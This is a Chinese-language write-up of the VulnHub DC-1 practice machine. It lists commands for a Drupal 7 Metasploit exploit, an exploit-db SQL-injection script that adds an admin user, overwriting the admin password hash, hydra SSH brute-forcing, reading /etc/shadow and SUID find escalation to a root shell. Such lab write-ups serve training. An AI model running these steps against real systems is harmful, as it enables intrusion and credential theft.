vulnhub靶场DC-1靶机渗透

一、靶机详情

DC-1 是 VulnHub 平台上面向渗透测试初学者的经典靶机,核心围绕 Drupal 7 漏洞利用与 Linux 本地提权,目标是获取 root 权限并收集全部 5 个 flag,非常适合巩固 Web 渗透与基础提权流程。

配置介绍

  • 靶机:192.168.1.133
  • kali:192.168.1.134

二、信息收集

1.获取目标 ip

复制代码
arp-scan -l
复制代码
nmap -sn 192.168.1.0/24 

2.扫描目标信息

(1)nmap -p- 192.168.1.133

通过对目标分析,发现 80 端口开放。

(2)查看 wappalyzer

(3)目录扫描

复制代码
dirsearch -u 192.168.1.133

三、搜寻漏洞及利用

1.msf 搜寻漏洞

根据信息收集发现使用的是 Drupal 内容管理系统。使用 msf 查看是否有该框架的漏洞信息。发现 1 和16都可以使用。

(1)use 1

  • use 1 使用第一个
  • show options 查看需要配置的参数

由以下图可知,需要配置目标 ip 和端口,使用 set 进行配置

(2)use 16

  • use 16
  • set rhosts 192.168.1.133
  • run

如果进入 meterpreter,则表示漏洞利用成功。

2.进入普通 shell

先输入 shell,进入 shell,不过这里是一个伪shell,是不会回显信息的,所以我们来执行下面这个语句进入 shell。

复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

3.进行普通 shell 收集信息

(1)找到 flag1

找到第一个 flag

(2)找到 flag2

根据提示:每一个好的CMS都需要一个配置文件,寻找配置文件 setting.php,打开 setting.php 发现 flag2 并发现数据库账号和密码。

复制代码
find / -name settings.php

根据数据库账号和密码尝试登录数据库,对数据库进行信息收集。

复制代码
● show databases;          //查看数据
● use drupaldb;            //进入数据库
● show tables;             //查看该数据库中的所有表
● select * from users;     //查看用户信息
● exit;                    //退出

(3)得到admin用户加密后的密码

4.登录到 admin 用户

在数据库中发现 web 端 admin 用户及密码,但是密码被加密。

(1)修改 admin 密码

在/var/www/scripts 下发现数据库中密码加密的脚本 password-hash.sh

此脚本为 php 格式,用 php 执行该脚本,重新获取自定义的 admin 用户新密码,然后更新数据库,修改 admin 管理员的密码。

复制代码
php password-hash.sh admin //生成新密码

将 admin 的 hash 后的密文(密码)替换数据库中 admin 的密码,即可用此密码进行登录。

复制代码
UPDATE drupaldb.users SET pass = '$S$DYEZyg0O9hNmr8hdcTULtMRyUHJyuh9svXBc9f9sMePDMSEfqb32' WHERE name = 'admin';

用账号 admin,密码 admin 登录 web 页面。

(2)添加新管理员用户

在之前信息收集的时候我们发现 Drupal 的版本为 7,利用 msfconsole 的漏洞查找工具 searchsploit 来查找关于 drupal的SQL注入漏洞。

复制代码
searchsploit drupal

我们通过 34992.py 这个 exp 来添加管理员用户。

首先找到34992.py 脚本的位置并将该脚本复制到 test 文件夹下。

复制代码
sudo find / -name 34992.py
cp /usr/share/exploitdb/exploits/php/webapps/34992.py /home/kali/Desktop/test

运行 34992.py 脚本得知需要三个参数,目标 url 地址,账号和密码。

复制代码
python 34992.py

添加三个参数重新运行 34992.py 脚本。

复制代码
python2 34992.py -t http://192.168.1.133/ -u test -p test

用新添加的管理员用户 aaa,密码为 aaa 登录 web 端。

(3)找到 flag3

进入后台搜索发现 flag3.

四、提权

1.找到 flag4

使用 cat /etc/passwd 查看,发现有 flag4 用户

根据 flag3 提示使用 shadow 查看 flag4 账号密码

复制代码
cat /etc/shadow

发现没 shadow 权限,使用 hydra 进行爆破

复制代码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.1.133

得到密码为 orange,使用 ssh 进行登录,找到 flag4

复制代码
ssh flag4@192.168.1.133

2.使用 find 提权

根据 flag4 的提示需要获取 root 权限权,得到最后的 flag。

查找设置了 suid 权限的文件。

复制代码
find / -perm -u=s -type f 2>/dev/null

find 命令用来在系统中查找文件。同时,它也有执行命令的能力。如果 find 配置为使用 SUID 权限运行,则可以通过 find 执行的命令都将以 root 身份去运行。

复制代码
ls -l $(which find)          #查看find命令的权限
find /etc/passwd -exec whoami \;  # 查看当前命令的用户
find /etc/passwd -exec "/bin/sh" \;  #获取一个shell

3. 找到 thefinalflag

五、总结

1.SUID 提权

SUID(Set User ID)提权是 Linux/Unix 系统中一种利用特殊权限可执行文件,实现普通用户临时获得文件所有者权限的提权方式 。

(1)权限原理

  • 普通可执行文件:用户执行程序时,程序的权限 = 当前用户的权限。
  • SUID 权限可执行文件 :用户执行程序时,程序的权限 = 文件所有者的权限(而非当前用户权限)。

(2)查找设置了 SUID 权限的文件

复制代码
find / -perm -u=s -type f 2>/dev/null
  • find:是 Linux 系统下用于查找文件和目录的命令 ,可根据文件名、文件类型、文件权限等多种条件在指定路径下进行搜索。
  • /:表示查找的起始路径为根目录,即从整个系统磁盘的根位置开始搜索。
  • -perm -u=s:
    • -perm:是按文件权限查找的选项 。
    • -u=s :这里 u 代表文件所有者(user ),s 代表设置了 SUID(Set - User - ID )权限 。-u=s 表示查找设置了 SUID 权限的文件,拥有 SUID 权限的文件在执行时,会以文件所有者的权限来运行,而非执行用户本身权限。
  • -type f :-type 用于指定查找文件的类型,f 表示只查找普通文件,不包括目录、设备文件等其他类型文件 。
  • 2>/dev/null:
    • 2:代表标准错误输出(stderr )的文件描述符 。
    • >:是输出重定向符号 。
    • /dev/null :是一个特殊文件,被称为 "黑洞" 设备,所有写入它的数据都会被丢弃。2>/dev/null 意思是将命令执行过程中产生的错误信息重定向到 /dev/null ,即不显示错误输出 。

(3)find 的 suid 权限使用

find :用来在系统中查找文件。同时,它也有执行命令的能力。如果 find 配置为使用 SUID 权限运行,则可以通过 find 执行的命令都将以 root 身份去运行

相关推荐
CDN36021 小时前
360CDN SDK 游戏盾:轻量化接入 + 强防护实测
运维·游戏·网络安全
hzhsec1 天前
MSF-CobaltStrike实现内网socks代理转发上线
服务器·网络·安全·网络安全
CDN3601 天前
低成本游戏防护:360 SDK 游戏盾使用总结
运维·游戏·网络安全
Chockmans1 天前
春秋云境CVE-2021-46436
web安全·网络安全·春秋云境·cve-2021-46436
xixixi777771 天前
5G核心网核心之辨:从服务化架构(SBA)到网络切片的深度实践解析
人工智能·网络安全·信息与通信·通信
IpdataCloud1 天前
网络安防实战:如何用IP查询工具精准定位风险IP?
网络·经验分享·tcp/ip·网络安全
XuanTao771 天前
【分享】✍️手写生成器|高级版|轻松生成自然逼真手写字体
数码相机·计算机网络·网络安全·智能手机·软件工程
xixixi777771 天前
从SQL注入到XSS:实战Web安全渗透测试
人工智能·安全·web安全·网络安全·卫星通信
CDN3601 天前
爬虫对抗:ZLibrary反爬机制实战分析及360CDN解决方案可行性论证
爬虫·网络安全
Evand J1 天前
计算机四级——《网络工程》科目,易错点总结【纯手工总结】
网络协议·网络安全·网络工程·计算机四级